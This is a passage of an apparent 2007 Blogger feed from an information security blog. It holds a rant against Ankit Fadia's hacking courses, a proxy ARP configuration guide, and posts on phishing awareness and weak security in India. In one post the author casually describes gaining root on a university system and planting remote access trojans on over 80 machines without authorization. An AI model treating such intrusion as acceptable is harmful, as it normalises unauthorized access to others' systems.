contacts not to go for this kind of crap.&lt;br /&gt;I am realy amzed what kinda effects the indian media has created about this Ankit fadia. Well I think that indian media is not that literate about the information security.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;I recommend to readers not waste your time and money on the any crap from Mr Ankit Fadia.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Read other people's thoughts about ankit fadia at these urls&lt;br /&gt;&lt;br /&gt;&lt;a href="http://attrition.org/errata/www/fadia1.html"&gt;http://attrition.org/errata/www/fadia1.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lists.grok.org.uk/pipermail/full-disclosure/2003-September/009654.html"&gt;http://lists.grok.org.uk/pipermail/full-disclosure/2003-September/009654.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here are some more links about crap of Ankit Fadia &lt;br /&gt;&lt;br /&gt;http://kalpeshsharma.wordpress.com/ - Article by security consultant about Fadia&lt;br /&gt;http://forum.techspot.in/showthread.php?t=2380 - Article from some one who attended Fadia's seminar&lt;br /&gt;&lt;br /&gt;Here is official site of Fadia CEH&lt;br /&gt;http://www.hackingmobilephones.com/afceh/&lt;br /&gt;&lt;br /&gt;Some crap conteent from his Course Details page is as bellow&lt;br /&gt;&lt;br /&gt;Want to be recognized for your computer security expertise? Want to be considered amongst the best security gurus in the world? Want to climb up the career ladder and improve your global job prospects? Want to be trained and certified by world renowned author and computer security guru? Want to become an ANKIT FADIA CERTIFIED ETHICAL HACKER?&lt;br /&gt;&lt;br /&gt;ROFL&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-7024904956604049669?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/7024904956604049669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=7024904956604049669' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7024904956604049669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7024904956604049669'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/08/beware-of-ankit-fadia.html' title='Beware of Ankit Fadia'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-7004221936708101129</id><published>2007-07-27T04:18:00.000-07:00</published><updated>2007-07-27T04:42:39.651-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='proxy arp linux router'/><title type='text'>How to implement Proxy ARP on linux box</title><content type='html'>&lt;blockquote&gt;Note If you dont know what is proxy arp then stop reading this&lt;br /&gt;and read this first http://en.wikipedia.org/wiki/Proxy_arp&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The scenario before implementation of Proxy ARP is as bellow (Before Proxy ARP)&lt;br /&gt;There is a server (10.10.10.3) on the LAN (10.10.10.0/24) that&lt;br /&gt;we want to put in to DMZ. But normally if we move the server we&lt;br /&gt;have to change its ip address and put it into different lan network&lt;br /&gt;But by using proxy arp we can port the server to DMZ without changing&lt;br /&gt;any configuration like ip address.&lt;br /&gt;&lt;br /&gt;Before proxy ARP&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;         |&lt;br /&gt;         | eth1&lt;br /&gt;     +-------+&lt;br /&gt;     |Linux  |-- eth2&lt;br /&gt;     |Box    |&lt;br /&gt;     +-------+&lt;br /&gt;        |&lt;br /&gt;        | eth0&lt;br /&gt;        | 10.10.10.0/24&lt;br /&gt;        |&lt;br /&gt;----|---|--------|----------&lt;br /&gt;    |            | &lt;br /&gt;   10.10.10.3   10.10.10.?&lt;br /&gt;    Server&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After implementation of the Proxy arp we can put the Server directly connected to eth2&lt;br /&gt;without changing its ip address.&lt;br /&gt;&lt;br /&gt;To implement proxy ARP following steps should be followed&lt;br /&gt;&lt;br /&gt;1.Turn on the proxy ARP option on the selected interfaces&lt;br /&gt; To do this we have to put value 1 in to the proc file.&lt;br /&gt;&lt;br /&gt;echo 1  &gt; /proc/sys/net/ipv4/conf/eth0/proxy_arp&lt;br /&gt;echo 1  &gt; /proc/sys/net/ipv4/conf/eth2/proxy_arp&lt;br /&gt;&lt;br /&gt;2. Delete Route of LAN from eth0&lt;br /&gt;&lt;br /&gt;route del -net 10.10.10.0 netmask 255.255.255.0 dev eth0&lt;br /&gt;&lt;br /&gt;3. Add Routes for proxy ARP&lt;br /&gt;&lt;br /&gt;route add 10.10.10.3 dev eth0&lt;br /&gt;route add -net 10.10.10.0 netmask 255.255.255.0 dev eth0&lt;br /&gt;&lt;br /&gt;Now the Proxy ARP is working and the Systems in the LAN (10.10.10.0/24) will&lt;br /&gt;be able to communicate with server (10.10.10.3) similar to what that was before&lt;br /&gt;proxy arp. Now you can put the iptables rules to prevent/allow access the server if you want.&lt;br /&gt;&lt;br /&gt;After Proxy ARP&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;        |&lt;br /&gt;        | eth1&lt;br /&gt;    +-------+&lt;br /&gt;    |Linux  |------- 10.10.10.3&lt;br /&gt;    |Box    | eth2&lt;br /&gt;    +-------+&lt;br /&gt;        |&lt;br /&gt;        | eth0&lt;br /&gt;        | 10.10.10.0/24&lt;br /&gt;        |&lt;br /&gt;----|---|--------|----&lt;br /&gt;    |            | &lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-7004221936708101129?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/7004221936708101129/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=7004221936708101129' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7004221936708101129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7004221936708101129'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/07/how-to-implement-proxy-arp-on-linux-box.html' title='How to implement Proxy ARP on linux box'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-3875588458326702499</id><published>2007-07-18T21:50:00.000-07:00</published><updated>2007-07-18T23:15:08.407-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='awareness'/><title type='text'>Lack of Information Security Conern in India - Part 2</title><content type='html'>&lt;span style="font-style:italic;"&gt;Continuing from where I left...&lt;/span&gt;&lt;br /&gt;The only sector which has a little bit of sense of security is the financial sector.&lt;br /&gt;That too they have learned from the foreign financial institutes. There has been lots&lt;br /&gt;of wire frauds, cracking in the financial sector. Lots of time this kind of cracking is&lt;br /&gt;done by a script kiddie.&lt;br /&gt;(For the Dummies: Script Kiddie is a person who just downloads&lt;br /&gt;some programs and try to attack on a computer system without understanding what the program&lt;br /&gt;does. I have also seen conditions where the script kiddies are using some windowz cracking program&lt;br /&gt;against the linux sytems)&lt;br /&gt;The most famous crack in the financial sector is phishing ( pronounced as Fishing).&lt;br /&gt;Phishing is done by using social engineering techniques. Phishers attempt to fraudulently acquire&lt;br /&gt;sensitive information, such as usernames, passwords and credit card details, by acting as a mail came from the financial institute. eBay and PayPal are two of the most targeted companies, and online banks are also common targets.&lt;br /&gt;Phishing also work most of the times when there is no concern about security in the users mind. No I have a concern for&lt;br /&gt;  security. i know that no bank in the world will ask me to send my password in the mail. But lots of normal users dont &lt;br /&gt;  understand this. Phishing also used Fake websites lots of times. But if the user is carefull to look at the url bar to&lt;br /&gt;    see that the url of the site is different that the url user is visiting then harm can be avoided. I know some of you will say that there are some java scripts that try to cover the address bar by a image of the leagal url. But this type&lt;br /&gt;    of phishing is more sophisticated and not that much in numbers. (If we disable javascript for unknown site we can stop this kind of attack.) Lot more phishing is done by script kiddies than the pros. I wont say we will be 100% percent secure but with a little bit of awareness we can avoid these script kiddies. So I again say that awareness in people is must.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-3875588458326702499?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/3875588458326702499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=3875588458326702499' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3875588458326702499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3875588458326702499'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/07/lack-of-information-security-conern-in_18.html' title='Lack of Information Security Conern in India - Part 2'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-3679982811105543083</id><published>2007-07-08T22:59:00.000-07:00</published><updated>2007-07-08T23:44:14.798-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network'/><category scheme='http://www.blogger.com/atom/ns#' term='india'/><category scheme='http://www.blogger.com/atom/ns#' term='information security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Lack of Information Security Conern in India</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/RpHWK27wVVI/AAAAAAAAAAM/KrZq_gLwZ4c/s1600-h/neocode.jpg"&gt;&lt;img src="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/RpHWK27wVVI/AAAAAAAAAAM/KrZq_gLwZ4c/s320/neocode.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5085080936311182674" /&gt;&lt;/a&gt;&lt;br /&gt;When 2-3 Days Ago I was watching some news of one indian university network was hacked by some nygerian hacker. News channel was telling that he hacked their mail server. And stole their economic information.I am very much surprise that how much ignorance is in theindian people aobut the importance of the information security.&lt;br /&gt;    I have seen in my own university also. When I was university I was able to get the root access of the linux system very easly that was giving shared access to the students. Also I was able to torjen the whole network, every PC wasunder my control. Though I did not do any damage, (damaging system never gains anything, unless you are getting paid to damge the system, but a real hacker will never damage the system) I was very surprise to see the lack of security.  There were more than 80 computers having internet access on which I had installed RAT (Remote Access Trojan) So if I wished I could use them as Bot-Network to do any kind of attack.&lt;br /&gt;      I think the history repeats itself, as in america first the hackers and system security were not given any notice. But when cracker get in the situation, they started damaging systems, or shutting down telphone networks, etc. Then one day american governmentgot awake of sudden and started hunting the hackers. India also is on the samepath. You will be surprised to hear that one fren of mine who is in marketing the firewall and IDS (Intruder Detection System) tell me that the product is not sold by how much security it provides but most of the times to just manage the network bandwidth, block the URLs for users. He says he has till this date not mate with a CTO who has genuine interest in the security of his network. After some big attacks by some cracker the people will awake. But do we want this ?&lt;br /&gt;   I think the people should become aware before such things. We should make people aware of things. In my later blogs I will try to handle more such issues.&lt;br /&gt;   -neo&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-3679982811105543083?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/3679982811105543083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=3679982811105543083' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3679982811105543083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3679982811105543083'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/07/lack-of-information-security-conern-in.html' title='Lack of Information Security Conern in India'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2jnsT-Tk2Ig/RpHWK27wVVI/AAAAAAAAAAM/KrZq_gLwZ4c/s72-c/neocode.jpg' height='72' width='72'/><thr:total>1</thr:total></entry></feed>
